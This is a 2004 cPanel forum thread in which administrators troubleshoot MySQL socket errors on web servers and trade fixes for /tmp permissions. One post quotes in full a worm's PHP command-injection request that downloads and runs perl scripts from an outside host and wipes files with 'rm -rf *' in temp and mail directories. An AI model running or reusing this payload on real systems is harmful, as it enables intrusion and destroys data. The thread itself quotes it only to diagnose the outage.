The Community Forums

Interact with an entire community of cPanel & WHM users!
  1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

mysql sock errors !!

Discussion in 'General Discussion' started by mrtshaw, Dec 26, 2004.

  1. mrtshaw

    mrtshaw Registered

    Joined:
    Jul 31, 2004
    Messages:
    1
    Likes Received:
    0
    Trophy Points:
    1
    Hey.. I have gone through all the forums and nothing can help.

    I keep on recieveing the following errors

    DBI connect('mysql:localhost','root',...) failed: Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2) at /scripts/restartsrv_mysql line 75 mysql has failed, please contact the sysadmin (result was "Warning, no valid mysql.sock file found.mysql has failed").

    can anyone help?

    thanks.
     
  2. Myacen

    Myacen Well-Known Member

    Joined:
    Apr 6, 2002
    Messages:
    222
    Likes Received:
    0
    Trophy Points:
    16
    This is giving me the shits, 4 servers this morning out of the blue are displaying the same error. We re symlink the mysql.sock and then it's removed again.
     
  3. dezignguy

    dezignguy Well-Known Member

    Joined:
    Sep 26, 2004
    Messages:
    534
    Likes Received:
    0
    Trophy Points:
    16
    Done anything different with your /tmp or /var/tmp areas? Any security things to lock them down or something?

    Are you getting any indication that it's cpanel that is removing the link?

    Did you upgrade mysql at any point recently?
     
  4. savagehost

    savagehost Member

    Joined:
    Jul 24, 2003
    Messages:
    11
    Likes Received:
    0
    Trophy Points:
    1
    MySQL sock ....

    :: SSH ::

    root@SERVER[/]# scripts/securetmp

    Should correct the problem. Then restart MySQL. In WHM if the indicator is still red, go into Service Manager, deselect an option - save. Then go back in and reselect it and save.

    This should handle the MySQL sock issue. For now. :cool:
     
  5. Myacen

    Myacen Well-Known Member

    Joined:
    Apr 6, 2002
    Messages:
    222
    Likes Received:
    0
    Trophy Points:
    16
    Nope that's what shits me. So we installed SIM for the time being to recreate it automatically. Most of our servers have the same configuration. If we played with settings we could have rolled the changes back but no we have not touched anything :mad:

    I will try that securetmp thing later but we have /tmp on it's on partition with nosuid
     
  6. Myacen

    Myacen Well-Known Member

    Joined:
    Apr 6, 2002
    Messages:
    222
    Likes Received:
    0
    Trophy Points:
    16
    041227 06:50:22 mysqld started
    041227 6:50:22 Warning: Asked for 196608 thread stack, but got 126976
    ^G/usr/sbin/mysqld: Can't create/write to file '/tmp/ibzMjN8e' (Errcode: 13)
    041227 6:50:22 InnoDB: Error: unable to create temporary file; errno: 13
    041227 6:50:22 Can't init databases
    041227 6:50:22 Aborting

    041227 6:50:22 InnoDB: Warning: shutting down a not properly started
    InnoDB: or created database!
    041227 6:50:22 /usr/sbin/mysqld: Shutdown Complete

    041227 06:50:22 mysqld ended

    041227 06:52:00 mysqld started
    041227 6:52:00 Warning: Asked for 196608 thread stack, but got 126976
    041227 6:52:00 InnoDB: Started
    /usr/sbin/mysqld: ready for connections.
    Version: '4.0.22-standard' socket: '/var/lib/mysql/mysql.sock' port: 3306 Official MySQL RPM
    041227 6:52:55 /usr/sbin/mysqld: Sort aborted
    041227 7:10:34 /usr/sbin/mysqld: Normal shutdown

    041227 7:10:35 InnoDB: Starting shutdown...
    041227 7:10:37 InnoDB: Shutdown completed
    041227 7:10:37 /usr/sbin/mysqld: Shutdown Complete

    041227 07:10:37 mysqld ended

    That's from the error log. Obviously it's not logging all "downtimes". What's interesting during the time it can't connect to mysql I can view the mysql processes could be apache related? We upgraded on the 20th :confused:
     
  7. myrem

    myrem Well-Known Member

    Joined:
    Jul 14, 2002
    Messages:
    93
    Likes Received:
    0
    Trophy Points:
    6
    Same thing here -- it's that damn worm/exploit:

    http://envidiosos.org/~
    pillar/.zk/php.gif?&cmd=cd%20/tmp;rm%20-rf%20*;wget%20envidiosos.org/~pillar/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%20envidioso
    s.org/~pillar/.zk/sess_189f0f0889555397a4de5485dd611113;perl%20sess_189f0f0889555397a4de5485dd611113;wget%20envidiosos.org/~pillar/.zk/sess_189f0f0889555397a4de5485dd611112;perl%20
    sess_189f0f0889555397a4de5485dd611112;wget%20envidiosos.org/~pillar/.zk/sess_189f0f0889555397a4de5485dd611114;perl%20sess_189f0f0889555397a4de5485dd611114;rm%20-rf%20*;cd%20/var/tm
    p/;rm%20-rf%20*;wget%20envidiosos.org/~pillar/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%20envidiosos.org/~pillar/.zk/sess_189f0f08
    89555397a4de5485dd611113;perl%20sess_189f0f0889555397a4de5485dd611113;wget%20envidiosos.org/~pillar/.zk/sess_189f0f0889555397a4de5485dd611112;perl%20sess_189f0f0889555397a4de5485dd
    611112;wget%20envidiosos.org/~pillar/.zk/sess_189f0f0889555397a4de5485dd611114;perl%20sess_189f0f0889555397a4de5485dd611114;rm%20-rf%20*;cd%20/var/spool/mail/;rm%20-rf%20*;wget%20e
    nvidiosos.org/~pillar/.zk/sess_189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%20envidiosos.org/~pillar/.zk/sess_189f0f0889555397a4de5485dd611113
    ;perl%20sess_189f0f0889555397a4de5485dd611113;wget%20envidiosos.org/~pillar/.zk/sess_189f0f0889555397a4de5485dd611112;perl%20sess_189f0f0889555397a4de5485dd611112;wget%20envidiosos
    .org/~pillar/.zk/sess_189f0f0889555397a4de5485dd611114;perl%20sess_189f0f0889555397a4de5485dd611114;rm%20-rf%20*;cd%20/var/mail/;rm%20-rf%20*;wget%20envidiosos.org/~pillar/.zk/sess
    _189f0f0889555397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%20envidiosos.org/~pillar/.zk/sess_189f0f0889555397a4de5485dd611113;perl%20sess_189f0f0889555397a
    4de5485dd611113;wget%20envidiosos.org/~pillar/.zk/sess_189f0f0889555397a4de5485dd611112;perl%20sess_189f0f0889555397a4de5485dd611112;wget%20envidiosos.org/~pillar/.zk/sess_189f0f08
    89555397a4de5485dd611114;perl%20sess_189f0f0889555397a4de5485dd611114;rm%20-rf%20*;cd%20%20/usr/local/apache/proxy/;rm%20-rf%20*;wget%20envidiosos.org/~pillar/.zk/sess_189f0f088955
    5397a4de5485dd611111;perl%20sess_189f0f0889555397a4de5485dd611111;wget%20envidiosos.org/~pillar/.zk/sess_189f0f0889555397a4de5485dd611113;perl%20sess_189f0f0889555397a4de5485dd6111
    13;wget%20envidiosos.org/~pillar/.zk/sess_189f0f0889555397a4de5485dd611112;perl%20sess_189f0f0889555397a4de5485dd611112;wget%20envidiosos.org/~pillar/.zk/sess_189f0f0889555397a4de5
    485dd611114;perl%20sess_189f0f0889555397a4de5485dd611114;rm%20-rf%20 *​

    see the "rm -rf *"commands in there?

    Make sure you "chmod +t /tmp"
     
    #7 myrem, Dec 27, 2004
    Last edited: Dec 27, 2004
  8. Myacen

    Myacen Well-Known Member

    Joined:
    Apr 6, 2002
    Messages:
    222
    Likes Received:
    0
    Trophy Points:
    16
    One of our /tmp's was chmodded with the +t switch earlier . I believe our servers have system commands disabled from PHP also. Looks like your correct myrem the server with the t switch is aok.
     
  9. dezignguy

    dezignguy Well-Known Member

    Joined:
    Sep 26, 2004
    Messages:
    534
    Likes Received:
    0
    Trophy Points:
    16
    ahh, must be a new strain of it....

    oh and I always delete the /usr/local/apache/proxy directory... it has nobody permissions...
     
  10. AndyReed

    AndyReed Well-Known Member
    PartnerNOC

    Joined:
    May 29, 2004
    Messages:
    2,222
    Likes Received:
    3
    Trophy Points:
    38
    Location:
    Minneapolis, MN
    We have seen many problems similar to the one you guys experiencing:

    DBI connect('mysql:localhost','root',...) failed: Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2) at /scripts/restartsrv_mysql line 75 mysql has failed, please contact the sysadmin (result was "Warning, no valid mysql.sock file found.mysql has failed").

    We can help. Send us an email note, or PM me.
     
  11. Sinewy

    Sinewy Well-Known Member

    Joined:
    May 15, 2004
    Messages:
    367
    Likes Received:
    1
    Trophy Points:
    18
    Location:
    Sydney, Australia
    cPanel Access Level:
    DataCenter Provider
    Try this:

    chmod 777 /tmp
    chmod +t /tmp

    this will give write permissions with the sticky bit in place

    then:
    service mysql stop
    killall -9 mysql
    ps aux |grep mysql (only one item should show up which is the grep command)
    service mysql start

    this fixes it in most cases. if you have eximstats:

    service cpanel restart
    service chkservd restart (this is the same as doing the service manager trick but easier).
     
Loading...

Share This Page